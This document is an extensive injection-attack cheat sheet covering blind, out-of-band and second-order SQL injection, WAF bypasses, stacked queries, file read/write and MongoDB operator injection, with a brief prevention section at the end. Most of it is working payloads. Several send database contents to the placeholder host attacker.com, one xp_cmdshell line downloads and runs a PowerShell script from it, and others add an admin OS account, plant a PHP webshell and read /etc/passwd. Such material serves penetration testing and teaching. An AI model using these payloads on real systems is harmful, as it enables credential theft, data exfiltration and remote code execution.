1. Blind SQLi: Boolean-Based Data Extraction

In blind boolean-based injection, the application returns no query results in the response but does reveal a binary difference — the page looks different (or a conditional redirect fires) depending on whether the injected condition is true or false. Data is extracted one character at a time by asking yes/no questions against the database.

Core Technique

-- Target: product search, id parameter
-- Original query: SELECT * FROM products WHERE id = '[input]'

-- Boolean probe: is the first char of the admin password 'a'?
' AND SUBSTRING((SELECT password FROM users WHERE username='masaaki'),1,1)='a'--

-- True response: normal product page (condition matched)
-- False response: blank/error page (condition did not match)

-- Binary search pattern (more efficient than char-by-char alphabet scan)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 64--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 96--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 112--
-- Narrow down to exact char in ~7 requests per character (binary search)

Extracting Schema Information First

-- Get number of tables in database
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) > 5--

-- Get first table name length
' AND LENGTH((SELECT table_name FROM information_schema.tables
  WHERE table_schema=database() LIMIT 0,1)) = 5--

-- Extract first table name char by char
' AND SUBSTRING((SELECT table_name FROM information_schema.tables
  WHERE table_schema=database() LIMIT 0,1),1,1) = 'u'--

Automating with Burp Intruder

  1. Identify the injection point and capture the request in Burp.
  2. Send to Intruder. Set attack type to "Cluster bomb" with two payload positions: character position (1–32) and the character to test (a–z, A–Z, 0–9, symbols).
  3. In "Options", add a "Grep — Match" rule for a string that only appears on a true response (e.g., the product name).
  4. Launch. Responses matching the grep are true — the character at that position is confirmed.
  5. Reconstruct the string from matching responses.
SQLMap Alternative sqlmap -u "https://target.example.com/product?id=1" --level=3 --risk=2 --technique=B --dump -T users — use --technique=B for boolean-only mode. Add --tamper=space2comment for WAF evasion.

2. Blind SQLi: Time-Based Extraction

When there is no observable difference in the HTTP response between true and false conditions, time-based injection uses deliberate query delays as the signal. If the injected condition is true, the response is delayed by N seconds; if false, it returns immediately.

Per-Database Syntax

-- MySQL / MariaDB: SLEEP()
'; IF(1=1, SLEEP(5), 0)--
' AND SLEEP(5)--
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--

-- MSSQL: WAITFOR DELAY
'; WAITFOR DELAY '0:0:5'--
'; IF (SUBSTRING(db_name(),1,1)='m') WAITFOR DELAY '0:0:5'--

-- PostgreSQL: pg_sleep()
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='p'
      THEN pg_sleep(5) ELSE pg_sleep(0) END)--

-- Oracle: dbms_pipe.receive_message()
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS$SYS$PIPE$ID',5)--
' AND (CASE WHEN (SUBSTR(user,1,1)='S') THEN
      DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)=1--

-- SQLite: no sleep, but heavy computation
' AND (SELECT COUNT(*) FROM sqlite_master t1,sqlite_master t2,
      sqlite_master t3,sqlite_master t4,sqlite_master t5)>0--

Practical Data Extraction Loop

-- Extract password hash for masaaki — time-based, char by char
-- Probe character position 1
' AND IF(ASCII(SUBSTRING((SELECT password FROM users
    WHERE username='masaaki'),1,1))>64, SLEEP(3), 0)--

-- If 3s delay: char ASCII > 64 (above '@')
' AND IF(ASCII(SUBSTRING((SELECT password FROM users
    WHERE username='masaaki'),1,1))>96, SLEEP(3), 0)--

-- If 3s delay: char ASCII > 96 (above '`', lowercase letter)
-- Continue binary search...
' AND IF(ASCII(SUBSTRING(...))<116, SLEEP(3), 0)--
-- Narrow down: ASCII 97–115 = a–s
Network Latency Considerations Time-based attacks require a stable baseline latency. Measure response time for non-injected requests first (5–10 samples). Use delays of at least 3x the baseline. Set Burp Intruder's response timeout high enough to capture delayed responses. Network jitter can cause false positives — repeat ambiguous results.

3. Out-of-Band SQLi — DNS Exfiltration

Out-of-band (OOB) injection sends extracted data over a separate network channel — typically DNS lookups or HTTP requests initiated by the database server itself. This is the most reliable technique when the application returns absolutely nothing useful, and when the database server has outbound network access.

MSSQL: xp_dirtree DNS Exfiltration

-- xp_dirtree initiates an SMB/UNC path resolution which triggers DNS
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 name FROM master..sysdatabases) + '.attacker.com\share'--

-- Extract current user via DNS
'; DECLARE @q varchar(1024);
   SET @q='\\' + CONVERT(varchar(256),SUSER_SNAME()) + '.attacker.com\x';
   EXEC master..xp_dirtree @q--

-- xp_cmdshell (if enabled) — direct HTTP callback
'; EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/x?d=$(hostname)"'--

MySQL: LOAD_FILE with UNC Path

-- LOAD_FILE on Windows MySQL with UNC paths triggers DNS + SMB
' AND LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'))--

-- Alternatively via SELECT INTO OUTFILE to a UNC path
' UNION SELECT password,2,3 FROM users INTO OUTFILE '\\\\attacker.com\\share\\out.txt'--

-- MySQL 8.0+: load_file may be restricted, use DNS via hex encoding
' AND IF(LOAD_FILE(CONCAT(0x5c5c5c5c,
    HEX(SUBSTRING((SELECT password FROM users LIMIT 1),1,16)),
    0x2e61747461636b65722e636f6d5c5c61)),1,1)--

Oracle: UTL_HTTP and UTL_DNS

-- Oracle UTL_HTTP (requires network ACL grant in 11g+)
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/x?d='||
    (SELECT password FROM all_users WHERE ROWNUM=1)) FROM dual--

-- Oracle UTL_INADDR.GET_HOST_ADDRESS (triggers DNS)
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS(
    (SELECT password FROM users WHERE ROWNUM=1)||'.attacker.com'
    ) FROM dual--
Monitoring the Callback Use Burp Collaborator or interactsh (interactsh-client) to receive DNS interactions. Each subdomain label can carry up to 63 characters — encode extracted data as hex or base32 to avoid special character issues in DNS labels.

4. Second-Order (Stored) SQL Injection

Second-order injection occurs when user input is stored safely on entry (properly escaped or parameterised) but later retrieved and used unsafely in a different query — typically by a developer who assumed the data was already "clean" because it came from the database.

Attack Scenario

-- Registration endpoint: properly parameterised (safe on input)
INSERT INTO users (username, password) VALUES (?, ?)
-- Payload stored as literal: masaaki'--

-- Later: password change endpoint reads the username from the DB
-- and interpolates it directly into a new query (unsafe on retrieval)
UPDATE users SET password = '[new_password]'
WHERE username = 'masaaki'--'

-- The -- comment terminates the WHERE clause
-- Actual query executed:
UPDATE users SET password = 'attacker_chosen_value'
-- (WHERE clause commented out — ALL passwords updated)

Detection Strategy

  1. Register/create an account with a username containing a SQL metacharacter: masaaki'--, masaaki" OR "1"="1.
  2. Log in and perform every action available to the account (update profile, change email, reset password, post content).
  3. Observe whether any action triggers database errors, unexpected behaviour, or results affecting other accounts.
  4. If password change affects all users, or profile update exposes other users' data — second-order injection confirmed.

5. Injection in Non-Obvious Points

SQL injection is not limited to visible form fields. Many applications use HTTP headers, cookies, and request body fields in SQL queries without the same scrutiny applied to form inputs.

HTTP Header Injection

-- User-Agent logged to database (analytics, audit logs)
GET /product/42 HTTP/1.1
Host: target.example.com
User-Agent: Mozilla' OR SLEEP(5)-- -

-- X-Forwarded-For used for rate limiting or geo queries
GET /api/v1/data HTTP/1.1
X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--
X-Real-IP: 10.0.0.1' UNION SELECT password FROM users--

-- Referer header stored in analytics
Referer: https://google.com/' AND 1=2 UNION SELECT username,password FROM users--

-- Cookie — session identifier sometimes used in queries
Cookie: tracking_id=abc123' AND (SELECT 1 FROM users WHERE username='masaaki')='1'--

JSON Body Injection

-- Application builds SQL from JSON field values
POST /api/users/search HTTP/1.1
Content-Type: application/json

{
  "username": "masaaki' AND SLEEP(5)-- -",
  "role": "user"
}

-- JSON array to test if arrays are iterated dangerously
{
  "ids": [1, "1 UNION SELECT username,password FROM users-- -", 3]
}

XML Body Injection

-- SOAP or REST with XML body
<login>
  <username>masaaki' OR '1'='1</username>
  <password>anything</password>
</login>

-- XPath injection (if backend uses XPath instead of SQL)
<username>' or '1'='1</username>
<username>masaaki' or string-length(//user[1]/password)>5 or ''='</username>

6. Filter Bypass: Comments, Encoding, Whitespace Alternatives

WAFs and application-level filters often block obvious patterns like the word UNION, double dashes, or spaces adjacent to SQL keywords. These can frequently be bypassed through encoding, obfuscation, and alternative syntax.

Comment Sequence Variation

-- Standard comments
--  (MySQL, MSSQL, PostgreSQL, SQLite)
#   (MySQL)
/*comment*/

-- Comment-based keyword splitting (bypasses keyword blocking)
UN/**/ION SEL/**/ECT 1,2,3
UN/*randomtext*/ION ALL SEL/*randomtext*/ECT 1,2,3

-- Conditional comments (MySQL specific)
UNION /*!50000 SELECT*/ 1,2,3--

Case and Encoding Variations

-- Case mixing
uNiOn SeLeCt 1,2,3--

-- URL double-encoding
%27  = '
%2527 = %27 (double-encoded single quote)
SeLeCt = %53%65%4c%65%43%74

-- Unicode lookalikes (sometimes bypass string matching)
ʼ (U+02BC modifier letter apostrophe)
' (U+FF07 fullwidth apostrophe)

-- Hex encoding of string values
WHERE username = 0x6d617361616b69  -- 'masaaki' in hex (MySQL)
WHERE username = CHAR(109,97,115,97,97,107,105)

Whitespace Alternatives

-- Replace spaces with alternatives MySQL accepts
/**/    -- inline comment
%09    -- horizontal tab
%0a    -- newline
%0d    -- carriage return
%0c    -- form feed
%a0    -- non-breaking space (MySQL)
()     -- parentheses (in some positions)

-- Example: UNION SELECT with no spaces
'UNION/**/SELECT/**/1,2,3--
'UNION%0aSELECT%0a1,2,3--

Scientific Notation and Number Tricks

-- Bypass numeric input filters
1 UNION SELECT 1e0,2e0,3e0--  -- scientific notation for 1,2,3
1 OR 1.0=1.0--
1 OR 0x1=0x1--

7. Stacked Queries and Batched Statements

Stacked queries allow injecting entirely separate SQL statements using the semicolon. This enables arbitrary commands including DDL, DML, and procedure calls — not just SELECT.

-- MSSQL: stacked queries natively supported
'; INSERT INTO users(username,password,role) VALUES('stephane','hash','admin')--
'; EXEC xp_cmdshell 'net user hacked Password123! /add'--

-- PostgreSQL: stacked queries supported
'; CREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $$
   BEGIN RETURN pg_read_file($1); END;
$$ LANGUAGE plpgsql SECURITY DEFINER;--
'; SELECT cmd('/etc/passwd')--

-- MySQL: stacked queries NOT supported via the mysql extension
-- BUT supported via mysqli_multi_query() and PDO with emulated prepares
'; INSERT INTO admins(user) VALUES('stephane')--

-- SQLite: multiple statements separated by ;
'; INSERT INTO users VALUES(999,'stephane','admin')--

8. File Read and Write via SQL

MySQL: INTO OUTFILE / DUMPFILE

-- Write a PHP webshell to the web root
' UNION SELECT '' INTO OUTFILE '/var/www/html/shell.php'--

-- More realistic — need correct column count
' UNION SELECT 1,'',3,4 INTO OUTFILE '/var/www/html/shell.php'--

-- Confirm web root via @@datadir and file system enumeration
' UNION SELECT @@datadir,2--
' UNION SELECT LOAD_FILE('/etc/passwd'),2--

-- Requirements: FILE privilege, secure_file_priv must permit the path
' UNION SELECT @@secure_file_priv,2--  -- empty = unrestricted

MSSQL: xp_cmdshell

-- Enable xp_cmdshell if disabled (requires sysadmin)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--

-- Execute OS commands
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"'--

-- Read file contents
'; CREATE TABLE tmp_file(line varchar(8000));
   BULK INSERT tmp_file FROM 'C:\Windows\win.ini' WITH (ROWTERMINATOR='\n');
   SELECT * FROM tmp_file--

PostgreSQL: COPY and Large Objects

-- Write file using COPY TO
'; COPY (SELECT '') TO '/tmp/shell.php'--

-- Read file using COPY FROM (loads into table)
'; CREATE TEMP TABLE tmp(data text);
   COPY tmp FROM '/etc/passwd';
   SELECT data FROM tmp LIMIT 1--

-- pg_read_file() (superuser, PostgreSQL data directory only)
'; SELECT pg_read_file('postgresql.conf',0,1000)--

9. NoSQL: MongoDB Operator Injection

MongoDB uses JSON-based query documents. When applications accept JSON from users and pass it directly to MongoDB queries, operators like $ne, $gt, $in, and $where can be injected to manipulate query logic.

Authentication Bypass with $ne

-- Vulnerable Node.js code
db.collection('users').findOne({
    username: req.body.username,
    password: req.body.password
})

-- Normal request
POST /login HTTP/1.1
Content-Type: application/json

{"username": "masaaki", "password": "secret"}

-- Injected request: $ne (not equal) bypasses password check
{"username": "masaaki", "password": {"$ne": null}}
-- Query: {username: "masaaki", password: {$ne: null}}
-- Returns the first user where password is not null — always true

-- Login as ANY user (no username knowledge required)
{"username": {"$ne": null}, "password": {"$ne": null}}

-- Target admin specifically
{"username": "admin", "password": {"$ne": "x"}}

-- Using $gt (greater than) alternatively
{"username": "masaaki", "password": {"$gt": ""}}

URL-Encoded Form Injection (PHP/Express without JSON)

-- PHP with parse_str or express body-parser (URL-encoded)
-- Brackets allow array notation

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=masaaki&password[$ne]=invalid

-- Becomes: {username: "masaaki", password: {$ne: "invalid"}}

Data Exfiltration with $in and $regex

-- Extract all usernames using $in with known list
{"username": {"$in": ["masaaki", "admin", "stephane", "root"]},
 "password": {"$ne": null}}

-- Enumerate existing usernames with $exists
{"username": {"$exists": true}, "password": {"$ne": null}}

-- Extract fields with $gt alphabetical enumeration
{"username": {"$gt": "m"}, "password": {"$ne": null}}
-- Returns users where username alphabetically follows 'm'

10. NoSQL: JavaScript Injection via $where

MongoDB's $where operator evaluates a JavaScript expression server-side for each document. If user input is interpolated into a $where expression, arbitrary JavaScript execution (within the MongoDB JS engine) is possible, including sleep-based timing attacks and data exfiltration.

-- Vulnerable code (never do this)
db.collection('users').find({
    $where: "this.username == '" + req.query.username + "'"
})

-- Always-true bypass
' || '1'=='1

-- Resulting expression: this.username == '' || '1'=='1'
-- Returns all documents

-- Time-based blind extraction (MongoDB JS sleep)
'; if(this.username == 'masaaki') { sleep(3000); } var x='
-- 3 second delay confirms user 'masaaki' exists

-- Extract password first character (timing)
'; if(this.username=='masaaki' && this.password.match(/^a/)) { sleep(3000); } var x='

-- Full password extraction pattern
'; if(this.username=='masaaki' && this.password.match(/^.{8,}/)) { sleep(3000); } var x='
-- Confirms password is 8+ characters

'; if(this.username=='masaaki' && this.password[0]>'m') { sleep(3000); } var x='
-- Binary search on first char: is it alphabetically after 'm'?
MongoDB $where Disabled by Default in 5.0+ MongoDB 5.0+ disables $where by default and removes JavaScript execution from aggregation pipelines. However, many production MongoDB instances still run on older versions (3.x, 4.x) where this is enabled. Check db.adminCommand({getParameter: 1, javascriptEnabled: 1}).

11. NoSQL: Projection Manipulation — Leaking Hidden Fields

MongoDB projections control which fields are returned. Applications that pass user-controlled projections directly to the query without validation allow attackers to include fields that were intentionally excluded from responses — password hashes, tokens, internal IDs.

-- Vulnerable code
const projection = JSON.parse(req.query.fields); // user-controlled!
db.collection('users').findOne({_id: userId}, projection)

-- Normal application use: only return name and email
GET /api/user?id=42&fields={"name":1,"email":1} HTTP/1.1

-- Attack: add password field to projection
GET /api/user?id=42&fields={"name":1,"email":1,"password":1} HTTP/1.1

-- Include all fields (override exclusion)
GET /api/user?id=42&fields={"password":1,"apiKey":1,"sessionToken":1,"_id":1}

12. NoSQL: Regex Timing Attack via $regex

MongoDB's $regex operator performs regex matching. Complex or catastrophically backtracking regex patterns combined with a known prefix can be used as an oracle to extract field values one character at a time — similar to boolean blind injection but using regex match timing as the signal.

-- Extract password starting with known prefix (boolean via match/no-match)
{"username": "masaaki", "password": {"$regex": "^a"}}
-- If login succeeds: password starts with 'a'
-- If login fails: password doesn't start with 'a'

-- Extract char by char
{"username": "masaaki", "password": {"$regex": "^Se"}}
{"username": "masaaki", "password": {"$regex": "^Sec"}}
{"username": "masaaki", "password": {"$regex": "^Secr"}}
{"username": "masaaki", "password": {"$regex": "^Secret"}}

-- Extract full hash (if bcrypt prefix is known)
{"password": {"$regex": "^\\$2b\\$10\\$[a-zA-Z0-9./]{1}"}}

-- Timing variant: ReDoS pattern for time-based signal
{"password": {"$regex": "^(a+)+$"}}
-- If password starts with 'a', catastrophic backtracking adds significant delay
Regex Injection with URL-Encoded Form Data When form data is used: username=masaaki&password[$regex]=^Se — the bracket notation maps the $regex key into a MongoDB operator. This works with Express, Laravel, and other frameworks that parse nested parameter syntax.

13. Prevention

Parameterised Queries / Prepared Statements

The only reliable defence against SQL injection. Every query parameter must be bound separately from the query string. This applies to all databases including ORM-generated queries — verify the ORM doesn't fall back to string interpolation.

Stored Procedures with Parameterisation

Stored procedures are only safe if they internally use parameterised calls. A stored procedure that builds a dynamic SQL string from its arguments and executes it is equally vulnerable.

Input Validation by Type

Numeric IDs should be cast to integers and reject anything non-numeric before the query. String inputs should be validated against an allowlist of expected characters where possible.

MongoDB: Disable $where

Set security.javascriptEnabled: false in mongod.conf. Use the aggregation pipeline rather than $where. Validate and sanitise all query operators — reject input objects containing MongoDB operator keys starting with $.

Least Privilege Database Accounts

The application database user should have only SELECT, INSERT, UPDATE, DELETE on specific tables. No FILE privilege, no EXECUTE on xp_cmdshell, no CREATE/DROP. Prevents exploitation of file-write and OS execution primitives.

WAF as Defence in Depth

WAFs should be a layer of defence, not the primary control. Modern SQLi filters are bypassable. Combine WAF with parameterised queries. Use SQLMap's tamper scripts to validate WAF effectiveness before declaring it "sufficient".